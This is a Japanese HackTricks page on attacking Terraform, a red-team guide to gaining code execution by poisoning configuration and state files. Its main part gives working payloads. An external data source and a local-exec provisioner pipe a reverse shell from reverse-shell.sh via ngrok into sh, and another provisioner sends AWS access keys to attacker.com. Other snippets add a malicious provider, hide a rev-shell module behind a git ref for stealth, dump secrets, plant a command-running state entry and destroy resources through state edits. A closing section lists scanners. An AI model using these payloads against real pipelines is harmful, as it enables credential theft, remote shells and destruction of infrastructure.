Terraform Security
Reading time: 21 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
HashiCorp Terraformは、インフラストラクチャをコードとして管理するツールであり、クラウドおよびオンプレミスのリソースを人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントを管理できるだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
Terraformはどのように機能しますか?
Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理するために、アプリケーションプログラミングインターフェース(API)を通じて操作します。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。
HashiCorpとTerraformコミュニティは、すでに1700以上のプロバイダーを作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、Terraform Registryで見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
Terraformのコアワークフローは、3つのステージで構成されています。
- 書き込み: 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
- 計画: Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。
- 適用: 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケーリングする前にVPCを再作成します。
Terraform Lab
コンピュータにterraformをインストールしてください。
こちらにガイドがあり、こちらにterraformをダウンロードする最良の方法があります。
TerraformにおけるRCE: 設定ファイルの毒盛り
Terraformは、ウェブページやネットワークサービスを公開するプラットフォームを持っていないため、terraformを妥協させる唯一の方法は、terraform設定ファイルを追加/変更できることまたはterraform状態ファイルを変更できることです(下の章を参照)。
しかし、terraformは非常に敏感なコンポーネントであり、適切に機能するために特権アクセスを持つさまざまな場所にアクセスする必要があります。
攻撃者がterraformが実行されているシステムを妥協させる主な方法は、terraform設定を保存しているリポジトリを妥協させることです。なぜなら、ある時点でそれらは解釈されるからです。
実際、PRが作成された後にterraform plan/applyを自動的に実行するソリューションが存在します。たとえば、Atlantisがあります:
terraformファイルを妥協させることができれば、誰かがterraform plan
またはterraform apply
を実行したときにRCEを実行するさまざまな方法があります。
Terraform plan
Terraform planは、Terraformで最も使用されるコマンドであり、Terraformを使用する開発者やソリューションは常に呼び出します。したがって、RCEを取得する最も簡単な方法は、terraform plan
で任意のコマンドを実行するように設定ファイルを毒盛りすることです。
外部プロバイダーを使用する
Terraformは、Terraformと外部プログラムのインターフェースを提供するexternal
プロバイダーを提供しています。external
データソースを使用して、plan
中に任意のコードを実行できます。
以下のようなものをterraform設定ファイルに注入すると、terraform plan
を実行したときにリバースシェルが実行されます:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
カスタムプロバイダーの使用
攻撃者はカスタムプロバイダーをTerraform Registryに送信し、その後、機能ブランチのTerraformコードに追加することができます(こちらの例):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
プロバイダーはinit
でダウンロードされ、plan
が実行されると悪意のあるコードが実行されます。
例はhttps://github.com/rung/terraform-provider-cmdexecで見つけることができます。
外部リファレンスの使用
前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。この攻撃をよりステルスな方法で実行することもできます。以下の提案に従ってください:
- terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む外部リソースをロードすることができます:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
あなたはhttps://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modulesでrev shellコードを見つけることができます。
- 外部リソースでは、ref機能を使用して、リポジトリ内のブランチにあるterraform rev shellコードを隠すことができます。例えば、
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
のように。
Terraform Apply
Terraform applyはすべての変更を適用するために実行されます。また、悪意のあるTerraformファイルをlocal-execを注入してRCEを取得するために悪用することもできます。
main.tf
ファイルに以下のようなペイロードが含まれていることを確認するだけです:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
前の技術からの提案に従って、この攻撃を外部参照を使用してよりステルス的に実行します。
Secrets Dumps
terraform apply
を実行することでterraformによって使用される秘密の値をダンプするには、terraformファイルに次のようなものを追加します:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Terraformステートファイルの悪用
Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、この研究はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあったとしても、ステートファイルのベクターを使用する方が、git
履歴に痕跡を残さないため、しばしばより巧妙です。
TerraformにおけるRCE: 設定ファイルの毒化
カスタムプロバイダーを作成することが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。
プロバイダーstatefile-rceはこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドをcommand
属性に記述できます。terraform
の実行がトリガーされると、これはterraform plan
およびterraform apply
の両方のステップで読み取られ、実行されます。terraform apply
ステップの場合、terraform
はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、このプロバイダーのソースコードをホストしているGitHubリポジトリで見つけることができます。
直接使用するには、resources
配列の任意の位置に以下を含め、name
およびcommand
属性をカスタマイズしてください:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
その後、terraform
が実行されると、あなたのコードが実行されます。
リソースの削除
リソースを破壊する方法は2つあります:
- 実際に破壊するリソースを指すランダムな名前のリソースを状態ファイルに挿入する
terraformはそのリソースが存在すべきではないと判断し、(示された実際のリソースIDに従って)それを破壊します。前のページの例:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)
EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。
ブラックリストに載ったプロバイダーを置き換える
hashicorp/external
がブラックリストに載った場合は、次の手順でexternal
プロバイダーを再実装できます。注意:私たちは、https://registry.terraform.io/providers/nazarewk/external/latest に公開されたexternalプロバイダーのフォークを使用しています。自分のフォークや再実装を公開することもできます。
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
その後、通常通り external
を使用できます。
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
自動監査ツール
Snyk Infrastructure as Code (IaC)
Snykは、Terraform、CloudFormation、Kubernetes、およびその他のIaCフォーマットにおける脆弱性と誤設定を検出する包括的なInfrastructure as Code (IaC)スキャンソリューションを提供します。
- 特徴:
- セキュリティ脆弱性とコンプライアンス問題のリアルタイムスキャン。
- バージョン管理システム(GitHub、GitLab、Bitbucket)との統合。
- 自動修正プルリクエスト。
- 詳細な修正アドバイス。
- サインアップ: Snykでアカウントを作成します。
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkovは、インフラストラクチャをコードとして扱う(IaC)ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析(SCA)ツールでもあります。
それは、Terraform、Terraform plan、Cloudformation、AWS SAM、Kubernetes、Helm charts、Kustomize、Dockerfile、Serverless、Bicep、OpenAPI、ARM Templates、またはOpenTofuを使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
それは、一般的な脆弱性および露出(CVE)に対するオープンソースパッケージと画像のスキャンであるソフトウェア構成分析(SCA)スキャンを実行します。
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance
は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。
- compliance: 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します。
- behaviour driven development: ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか?
- portable:
pip
からインストールするか、docker
経由で実行するだけです。 Installationを参照してください。 - pre-deploy: デプロイされる前にコードを検証します。
- easy to integrate: パイプライン(またはgitフック)で実行して、すべてのデプロイが検証されることを保証できます。
- segregation of duty: テストを別のリポジトリに保管し、別のチームが責任を持つことができます。
note
残念ながら、コードがアクセスできないプロバイダーを使用している場合、terraform plan
を実行してこのツールを使用することはできません。
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
From the docs: tfsecは、あなたのterraformコードの静的分析を使用して、潜在的な誤設定を特定します。
- ☁️ すべての主要(および一部のマイナー)クラウドプロバイダーにわたる誤設定をチェック
- ⛔ 数百の組み込みルール
- 🪆 モジュールをスキャン(ローカルおよびリモート)
- ➕ HCL式およびリテラル値を評価
- ↪️ Terraform関数を評価 e.g.
concat()
- 🔗 Terraformリソース間の関係を評価
- 🧰 Terraform CDKと互換性あり
- 🙅 ユーザー定義のRegoポリシーを適用(および装飾)
- 📃 複数の出力形式をサポート: lovely(デフォルト)、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
- 🛠️ 設定可能(CLIフラグおよび/または設定ファイルを介して)
- ⚡ 非常に高速で、大規模なリポジトリを迅速にスキャン可能
brew install tfsec
tfsec /path/to/folder
KICKS
インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、CheckmarxのKICSを使用してください。
KICSはKeeping Infrastructure as Code Secureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
From the docs: Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことが可能です:
- インフラストラクチャのコードをシームレスにスキャンして、誤設定を検出します。
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを引き起こす変更を検出し、安全なポスチャーに戻すことを可能にします。
- セキュリティの脆弱性やコンプライアンス違反を検出します。
- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
- ローカルで実行する柔軟性や、CI\CDと統合することができます。
brew install terrascan
参考文献
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。